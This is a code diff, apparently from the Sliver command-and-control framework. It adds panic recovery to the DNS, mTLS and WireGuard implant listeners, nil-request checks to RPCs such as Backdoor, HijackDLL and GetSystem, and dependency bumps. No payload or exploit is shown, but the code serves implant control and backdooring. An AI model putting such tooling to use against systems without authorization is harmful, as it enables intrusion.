github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3 h1:KUeWGoKnmyrLaDIa0smE6pK5eFMZWNIxPGweQR12iLg=
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3/go.mod h1:OMqKat/mm9a/qOnpuNOPyYO9bPzRNnmzLnRZT5KYltg=
github.com/charmbracelet/lipgloss v1.1.0 h1:vYXsiLHVkK7fp74RkV7b2kq9+zDLoEU4MZoFqR/noCY=
github.com/charmbracelet/lipgloss v1.1.0/go.mod h1:/6Q8FR2o+kj8rz4Dq0zQc3vYf7X+B0binUUBwA0aL30=
github.com/charmbracelet/x/ansi v0.10.1 h1:rL3Koar5XvX0pHGfovN03f5cxLbCF2YvLeyz7D2jVDQ=
github.com/charmbracelet/x/ansi v0.10.1/go.mod h1:3RQDQ6lDnROptfpWuUVIUG64bD2g2BgntdxH0Ya5TeE=
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 h1:eyFRbAmexyt43hVfeyBofiGSEmJ7krjLOYt/9CF5NKA=
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8/go.mod h1:SQpCTRNBtzJkwku5ye4S3HEuthAlGy2n9VXZnWkEW98=
github.com/charmbracelet/x/ansi v0.11.6 h1:GhV21SiDz/45W9AnV2R61xZMRri5NlLnl6CVF7ihZW8=
github.com/charmbracelet/x/ansi v0.11.6/go.mod h1:2JNYLgQUsyqaiLovhU2Rv/pb8r6ydXKS3NIttu3VGZQ=
github.com/charmbracelet/x/cellbuf v0.0.13 h1:/KBBKHuVRbq1lYx5BzEHBAFBP8VcQzJejZ/IA3iR28k=
github.com/charmbracelet/x/cellbuf v0.0.13/go.mod h1:xe0nKWGd3eJgtqZRaN9RjMtK7xUYchjzPr7q6kcvCCs=
github.com/charmbracelet/x/cellbuf v0.0.15 h1:ur3pZy0o6z/R7EylET877CBxaiE1Sp1GMxoFPAIztPI=
github.com/charmbracelet/x/cellbuf v0.0.15/go.mod h1:J1YVbR7MUuEGIFPCaaZ96KDl5NoS0DAWkskup+mOY+Q=
github.com/charmbracelet/x/conpty v0.1.0 h1:4zc8KaIcbiL4mghEON8D72agYtSeIgq8FSThSPQIb+U=
github.com/charmbracelet/x/conpty v0.1.0/go.mod h1:rMFsDJoDwVmiYM10aD4bH2XiRgwI7NYJtQgl5yskjEQ=
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86 h1:JSt3B+U9iqk37QUU2Rvb6DSBYRLtWqFqfxf8l5hOZUA=
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86/go.mod h1:2P0UgXMEa6TsToMSuFqKFQR+fZTO9CNGUNokkPatT/0=
github.com/charmbracelet/x/exp/golden v0.0.0-20241011142426-46044092ad91 h1:payRxjMjKgx2PaCWLZ4p3ro9y97+TVLZNaRZgJwSVDQ=
github.com/charmbracelet/x/exp/golden v0.0.0-20241011142426-46044092ad91/go.mod h1:wDlXFlCrmJ8J+swcL/MnGUuYnqgQdW9rhSD61oNMb6U=
github.com/charmbracelet/x/exp/golden v0.0.0-20250806222409-83e3a29d542f h1:pk6gmGpCE7F3FcjaOEKYriCvpmIN4+6OS/RD0vm4uIA=
github.com/charmbracelet/x/exp/golden v0.0.0-20250806222409-83e3a29d542f/go.mod h1:IfZAMTHB6XkZSeXUqriemErjAWCCzT0LwjKFYCZyw0I=
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 h1:qko3AQ4gK1MTS/de7F5hPGx6/k1u0w4TeYmBFwzYVP4=
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0/go.mod h1:pBhA0ybfXv6hDjQUZ7hk1lVxBiUbupdw5R31yPUViVQ=
github.com/charmbracelet/x/term v0.2.1 h1:AQeHeLZ1OqSXhrAWpYUtZyX1T3zVxfpZuEQMIQaGIAQ=
github.com/charmbracelet/x/term v0.2.1/go.mod h1:oQ4enTYFV7QN4m0i9mzHrViD7TQKvNEEkHUMCmsxdUg=
github.com/charmbracelet/x/term v0.2.2 h1:xVRT/S2ZcKdhhOuSP4t5cLi5o+JxklsoEObBSgfgZRk=
github.com/charmbracelet/x/term v0.2.2/go.mod h1:kF8CY5RddLWrsgVwpw4kAa6TESp6EB5y3uxGLeCqzAI=
github.com/charmbracelet/x/termios v0.1.1 h1:o3Q2bT8eqzGnGPOYheoYS8eEleT5ZVNYNy8JawjaNZY=
github.com/charmbracelet/x/termios v0.1.1/go.mod h1:rB7fnv1TgOPOyyKRJ9o+AsTU/vK5WHJ2ivHeut/Pcwo=
github.com/charmbracelet/x/windows v0.2.2 h1:IofanmuvaxnKHuV04sC0eBy/smG6kIKrWG2/jYn2GuM=
github.com/charmbracelet/x/windows v0.2.2/go.mod h1:/8XtdKZzedat74NQFn0NGlGL4soHB0YQZrETF96h75k=
github.com/charmbracelet/x/xpty v0.1.2 h1:Pqmu4TEJ8KeA9uSkISKMU3f+C1F6OGBn8ABuGlqCbtI=
github.com/charmbracelet/x/xpty v0.1.2/go.mod h1:XK2Z0id5rtLWcpeNiMYBccNNBrP2IJnzHI0Lq13Xzq4=
github.com/cheggaaa/pb/v3 v3.1.7 h1:2FsIW307kt7A/rz/ZI2lvPO+v3wKazzE4K/0LtTWsOI=
@@ -216,8 +228,10 @@ github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMn
github.com/cilium/ebpf v0.15.0 h1:7NxJhNiBT3NG8pZJ3c+yfrVdHY8ScgKD27sScgjLMMk=
github.com/cilium/ebpf v0.15.0/go.mod h1:DHp1WyrLeiBh19Cf/tfiSMhqheEiK8fXFZ4No0P1Hso=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/clipperhouse/uax29/v2 v2.2.0 h1:ChwIKnQN3kcZteTXMgb1wztSgaU+ZemkgWdohwgs8tY=
github.com/clipperhouse/uax29/v2 v2.2.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM=
github.com/clipperhouse/displaywidth v0.11.0 h1:lBc6kY44VFw+TDx4I8opi/EtL9m20WSEFgwIwO+UVM8=
github.com/clipperhouse/displaywidth v0.11.0/go.mod h1:bkrFNkf81G8HyVqmKGxsPufD3JhNl3dSqnGhOoSD/o0=
github.com/clipperhouse/uax29/v2 v2.7.0 h1:+gs4oBZ2gPfVrKPthwbMzWZDaAFPGYK72F0NJv2v7Vk=
github.com/clipperhouse/uax29/v2 v2.7.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 h1:6xNmx7iTtyBRev0+D/Tv1FZd4SCg8axKApyNyRsAt/w=
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5/go.mod h1:KdCmV+x/BuvyMxRnYBlmVaq4OLiKW6iRQfvC62cvdkI=
@@ -506,8 +520,8 @@ github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
github.com/line/line-bot-sdk-go v7.8.0+incompatible h1:Uf9/OxV0zCVfqyvwZPH8CrdiHXXmMRa/L91G3btQblQ=
github.com/line/line-bot-sdk-go v7.8.0+incompatible/go.mod h1:0RjLjJEAU/3GIcHkC3av6O4jInAbt25nnZVmOFUgDBg=
github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY=
github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/lucasb-eyer/go-colorful v1.3.0 h1:2/yBRLdWBZKrf7gB40FoiKfAWYQ0lqNcbuQwVHXptag=
github.com/lucasb-eyer/go-colorful v1.3.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/mailgun/errors v0.4.0 h1:6LFBvod6VIW83CMIOT9sYNp28TCX0NejFPP4dSX++i8=
@@ -530,8 +544,8 @@ github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D
github.com/mattn/go-localereader v0.0.1 h1:ygSAOl7ZXTx4RdPYinUpg6W99U8jWvWi9Ye2JC/oIi4=
github.com/mattn/go-localereader v0.0.1/go.mod h1:8fBrzywKY7BI3czFoHkuzRoWE9C+EiG4R1k4Cjx5p88=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.19 h1:v++JhqYnZuu5jSKrk9RbgF5v4CGUjqRfBm05byFGLdw=
github.com/mattn/go-runewidth v0.0.19/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
github.com/mattn/go-runewidth v0.0.20 h1:WcT52H91ZUAwy8+HUkdM3THM6gXqXuLJi9O3rjcQQaQ=
github.com/mattn/go-runewidth v0.0.20/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
github.com/mattn/go-sqlite3 v1.14.32 h1:JD12Ag3oLy1zQA+BNn74xRgaBbdhbNIDYvQUEuuErjs=
github.com/mattn/go-sqlite3 v1.14.32/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw=
@@ -663,18 +677,12 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
github.com/sliverarmory/beignet v0.0.3 h1:ssR6AK9lirVulHZhQMyMmVAi0FcFwWxlh9LwKCJQ4X0=
github.com/sliverarmory/beignet v0.0.3/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
github.com/sliverarmory/malasada v0.0.2 h1:X2+7dNGPWfm4ijsr/rMvZlIMalskdCVpBZUYs50RHIA=
github.com/sliverarmory/malasada v0.0.2/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
github.com/sliverarmory/malasada v0.0.3 h1:b2KG2NhQVfBIIrbP8rGJwmdh7o8LH6NKYKH1DF4No1U=
github.com/sliverarmory/malasada v0.0.3/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sliverarmory/wasm-donut v0.0.5 h1:QWnkVy1mTgkmVg0bvJ8X9xqGGX2YI0pbpqt5uA3qw84=
github.com/sliverarmory/wasm-donut v0.0.5/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
github.com/sony/sonyflake v1.0.0/go.mod h1:Jv3cfhf/UFtolOTTRd3q4Nl6ENqM+KfyZ5PseKfZGF4=
github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
@@ -930,8 +938,6 @@ golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ=
golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=
golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
+2 -6
View File
@@ -278,9 +278,7 @@ func TestProvider_ParseEnvProxy(t *testing.T) {
if tt.expectError == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectError.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
}
})
}
@@ -325,9 +323,7 @@ func TestProvider_ConfigProviderParseEnvURL(t *testing.T) {
if tt.expectError == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectError.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
}
})
}
+1 -3
View File
@@ -116,9 +116,7 @@ func TestNewProxy(t *testing.T) {
if tt.expectErr == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectErr.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectErr, err)
}
})
}
+22
View File
@@ -0,0 +1,22 @@
package proxy
import (
"strings"
"testing"
"github.com/stretchr/testify/assert"
)
func assertErrEqualIgnoreQuotes(t *testing.T, expected error, actual error) {
t.Helper()
if expected == nil {
assert.NoError(t, actual)
return
}
if assert.Error(t, actual) {
expectedMsg := strings.ReplaceAll(expected.Error(), "\"", "")
actualMsg := strings.ReplaceAll(actual.Error(), "\"", "")
assert.Equal(t, expectedMsg, actualMsg)
}
}
+2 -6
View File
@@ -67,9 +67,7 @@ func TestParseURL(t *testing.T) {
if tt.expectError == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectError.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
}
})
}
@@ -191,9 +189,7 @@ func TestSplitHostPort(t *testing.T) {
if tt.expectErr == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectErr.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectErr, err)
}
})
}
+16 -1
View File
@@ -100,6 +100,8 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
server.startInitGC()
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
defer recoverAndLogPanic(dnsLog.Errorf, "dns request callback")
started := time.Now()
server.HandleDNSRequest(domains, canaries, writer, req)
dnsLog.Debugf("DNS server took %s", time.Since(started))
@@ -226,6 +228,8 @@ func (s *DNSSession) IncomingPendingEnvelope(msgID uint32, size uint32) *Pending
// ForwardCompletedEnvelope - Reassembles and forwards envelopes to core
func (s *DNSSession) ForwardCompletedEnvelope(msgID uint32, pending *PendingEnvelope) {
defer recoverAndLogPanic(dnsLog.Errorf, "dns ForwardCompletedEnvelope")
dnsLog.Debugf("[dns] dns session id: %d, msg id: %d completed message", s.ID, msgID)
s.incomingMutex.Lock()
delete(s.incomingEnvelopes, msgID) // Remove pending message
@@ -373,6 +377,8 @@ func (s *SliverDNSServer) startInitGC() {
s.gcStop = make(chan struct{})
s.gcDone = make(chan struct{})
go func() {
defer recoverAndLogPanic(dnsLog.Errorf, "dns init gc")
ticker := time.NewTicker(defaultPendingDNSInitGCInterval)
defer ticker.Stop()
defer close(s.gcDone)
@@ -420,6 +426,8 @@ func (s *SliverDNSServer) gcPendingInits() {
// ---------------------------
// Handles all DNS queries, first we determine if the query is C2 or a canary
func (s *SliverDNSServer) HandleDNSRequest(domains []string, canaries bool, writer dns.ResponseWriter, req *dns.Msg) {
defer recoverAndLogPanic(dnsLog.Errorf, "dns HandleDNSRequest")
if req == nil {
dnsLog.Info("req can not be nil")
return
@@ -682,6 +690,8 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
}
go func() {
defer recoverAndLogPanic(dnsLog.Errorf, "dns session send loop")
dnsLog.Debugf("[dns] starting implant conn send loop")
for envelope := range dnsSession.ImplantConn.Send {
dnsSession.StageOutgoingEnvelope(envelope)
@@ -830,7 +840,10 @@ func (s *SliverDNSServer) handleDataFromImplant(domain string, msg *dnspb.DNSMes
pending := dnsSession.IncomingPendingEnvelope(msg.ID, msg.Size)
complete := pending.Insert(msg)
if complete {
go dnsSession.ForwardCompletedEnvelope(msg.ID, pending)
go func() {
defer recoverAndLogPanic(dnsLog.Errorf, "dns completed envelope dispatch")
dnsSession.ForwardCompletedEnvelope(msg.ID, pending)
}()
}
resp := new(dns.Msg)
@@ -981,6 +994,8 @@ func (s *SliverDNSServer) handleNOP(domain string, msg *dnspb.DNSMessage, checks
func (s *SliverDNSServer) handleCanary(req *dns.Msg) *dns.Msg {
// Don't block, return error as fast as possible
go func() {
defer recoverAndLogPanic(dnsLog.Errorf, "dns handleCanary")
reqDomain := strings.ToLower(req.Question[0].Name)
if !strings.HasSuffix(reqDomain, ".") {
reqDomain += "." // Ensure we have the FQDN
+12
View File
@@ -126,6 +126,8 @@ func StartMutualTLSListener(bindIface string, port uint16) (net.Listener, error)
}
func acceptSliverConnections(ln net.Listener) {
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls acceptSliverConnections")
for {
conn, err := ln.Accept()
if err != nil {
@@ -140,6 +142,8 @@ func acceptSliverConnections(ln net.Listener) {
}
func handleSliverConnection(conn net.Conn) {
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls handleSliverConnection")
mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())
@@ -174,6 +178,8 @@ func (c *mtlsBufferedConn) Read(p []byte) (int, error) {
}
func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls handleSliverConnectionYamux")
session, err := yamux.Server(conn, nil)
if err != nil {
mtlsLog.Errorf("Failed to initialize yamux session: %v", err)
@@ -196,6 +202,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
go func() {
defer closeDone()
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux accept loop")
for {
stream, err := session.Accept()
if err != nil {
@@ -216,6 +223,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
defer func() {
<-streamSem
}()
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux stream")
defer stream.Close()
envelope, err := socketReadEnvelope(stream)
@@ -239,6 +247,8 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
if handler, ok := handlers[envelope.Type]; ok {
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
go func(envelope *sliverpb.Envelope) {
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls message handler")
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
implantConn.Send <- respEnvelope
@@ -251,6 +261,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
go func() {
defer closeDone()
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux sender loop")
for {
select {
case envelope := <-implantConn.Send:
@@ -264,6 +275,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
defer func() {
<-sendSem
}()
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux sender stream")
stream, err := session.Open()
if err != nil {
+9
View File
@@ -0,0 +1,9 @@
package c2
import "runtime/debug"
func recoverAndLogPanic(logf func(string, ...interface{}), scope string) {
if recovered := recover(); recovered != nil {
logf("Recovered panic in %s: %v\n%s", scope, recovered, string(debug.Stack()))
}
}
+16
View File
@@ -168,6 +168,8 @@ func StartWGListener(port uint16, netstackPort uint16, keyExchangeListenPort uin
// acceptKeyExchangeConnection - accept connections to key exchange socket
func acceptKeyExchangeConnection(ln net.Listener) {
defer recoverAndLogPanic(wgLog.Errorf, "wireguard acceptKeyExchangeConnection")
wgLog.Printf("Polling for connections to key exchange listener")
for {
conn, err := ln.Accept()
@@ -188,6 +190,8 @@ func acceptKeyExchangeConnection(ln net.Listener) {
// Generate new implant wg keys. Generate new unique IP for implant.
// Write all retrieved data to socket connection.
func handleKeyExchangeConnection(conn net.Conn) {
defer recoverAndLogPanic(wgLog.Errorf, "wireguard handleKeyExchangeConnection")
wgLog.Infof("Handling connection to key exchange listener")
defer conn.Close()
@@ -213,6 +217,8 @@ func handleKeyExchangeConnection(conn net.Conn) {
}
func acceptWGSliverConnections(ln net.Listener) {
defer recoverAndLogPanic(wgLog.Errorf, "wireguard acceptWGSliverConnections")
for {
conn, err := ln.Accept()
if err != nil {
@@ -227,6 +233,8 @@ func acceptWGSliverConnections(ln net.Listener) {
}
func handleWGSliverConnection(conn net.Conn) {
defer recoverAndLogPanic(wgLog.Errorf, "wireguard handleWGSliverConnection")
wgLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
implantConn := core.NewImplantConnection("wg", conn.RemoteAddr().String())
@@ -262,6 +270,8 @@ func (c *wgBufferedConn) Read(p []byte) (int, error) {
}
func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
defer recoverAndLogPanic(wgLog.Errorf, "wireguard handleWGSliverConnectionYamux")
session, err := yamux.Server(conn, nil)
if err != nil {
wgLog.Errorf("Failed to initialize yamux session: %v", err)
@@ -284,6 +294,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
go func() {
defer closeDone()
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux accept loop")
for {
stream, err := session.Accept()
if err != nil {
@@ -304,6 +315,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
defer func() {
<-streamSem
}()
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux stream")
defer stream.Close()
envelope, err := socketWGReadEnvelope(stream)
@@ -326,6 +338,8 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
if handler, ok := handlers[envelope.Type]; ok {
go func(envelope *sliverpb.Envelope) {
defer recoverAndLogPanic(wgLog.Errorf, "wireguard message handler")
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
implantConn.Send <- respEnvelope
@@ -338,6 +352,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
go func() {
defer closeDone()
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux sender loop")
for {
select {
case envelope := <-implantConn.Send:
@@ -351,6 +366,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
defer func() {
<-sendSem
}()
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux sender stream")
stream, err := session.Open()
if err != nil {
+9 -2
View File
@@ -27,6 +27,7 @@ import (
"github.com/bishopfox/sliver/server/log"
"github.com/gofrs/uuid"
"gorm.io/gorm"
"gorm.io/gorm/clause"
)
var (
@@ -66,7 +67,10 @@ func hostsSessionCallback(session *Session) {
}
if errors.Is(err, gorm.ErrRecordNotFound) {
coreLog.Infof("Session %v is from a new host", session.ID)
err := dbSession.Create(&models.Host{
err := dbSession.Clauses(clause.OnConflict{
Columns: []clause.Column{{Name: "host_uuid"}},
DoNothing: true,
}).Create(&models.Host{
HostUUID: uuid.FromStringOrNil(session.UUID),
Hostname: session.Hostname,
OSVersion: session.OS,
@@ -94,7 +98,10 @@ func hostsBeaconCallback(beacon *models.Beacon) {
}
if errors.Is(err, gorm.ErrRecordNotFound) {
coreLog.Infof("Beacon %v is from a new host", beacon.ID)
err := dbSession.Create(&models.Host{
err := dbSession.Clauses(clause.OnConflict{
Columns: []clause.Column{{Name: "host_uuid"}},
DoNothing: true,
}).Create(&models.Host{
HostUUID: uuid.FromStringOrNil(beacon.UUID.String()),
Hostname: beacon.Hostname,
OSVersion: beacon.OS,
+8 -1
View File
@@ -39,6 +39,11 @@ import (
// Backdoor - Inject a sliver payload in a file on the remote system
func (rpc *Server) Backdoor(ctx context.Context, req *clientpb.BackdoorReq) (*clientpb.Backdoor, error) {
resp := &clientpb.Backdoor{}
if req == nil || req.Request == nil {
return resp, ErrMissingRequestField
}
var (
name string
err error
@@ -55,8 +60,10 @@ func (rpc *Server) Backdoor(ctx context.Context, req *clientpb.BackdoorReq) (*cl
name = req.Name
}
resp := &clientpb.Backdoor{}
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
}
if session.OS != "windows" {
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("%s is currently not supported", session.OS))
}
+3
View File
@@ -52,6 +52,9 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
resp := &clientpb.DllHijack{
Response: &commonpb.Response{},
}
if req == nil || req.Request == nil {
return resp, ErrMissingRequestField
}
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return resp, ErrInvalidSessionID
+5
View File
@@ -37,6 +37,11 @@ func (rpc *Server) Kill(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.
beacon *models.Beacon
err error
)
if kill == nil || kill.Request == nil {
return &commonpb.Empty{}, ErrMissingRequestField
}
session := core.Sessions.Get(kill.Request.SessionID)
if session == nil {
beacon, err = db.BeaconByID(kill.Request.BeaconID)
+10
View File
@@ -38,6 +38,11 @@ var (
func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Task, error) {
var os string
var arch string
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
if !req.Request.Async {
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
@@ -90,6 +95,11 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*sliverpb.Task, error) {
var os string
var arch string
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
if !req.Request.Async {
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
+4
View File
@@ -28,6 +28,10 @@ import (
// Portfwd - Open an in-band port forward
func (s *Server) Portfwd(ctx context.Context, req *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
+8
View File
@@ -83,6 +83,10 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
name string
)
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
@@ -159,6 +163,10 @@ func (rpc *Server) MakeToken(ctx context.Context, req *sliverpb.MakeTokenReq) (*
// GetPrivs - gRPC interface to get privilege information from the current process
func (rpc *Server) GetPrivs(ctx context.Context, req *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
sessionID := req.Request.SessionID
resp := &sliverpb.GetPrivs{Response: &commonpb.Response{}}
+4
View File
@@ -33,6 +33,10 @@ const maxNameLength = 32
// Reconfigure - Reconfigure a beacon/session
func (rpc *Server) Reconfigure(ctx context.Context, req *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
// We have to preserve these because GenericHandler clears them in req.Request
sessionID := req.Request.SessionID
beaconID := req.Request.BeaconID
+8
View File
@@ -38,6 +38,10 @@ func (rpc *Server) GetRportFwdListeners(ctx context.Context, req *sliverpb.Rport
// StartRportfwdListener - Instruct the implant to start a reverse port forward
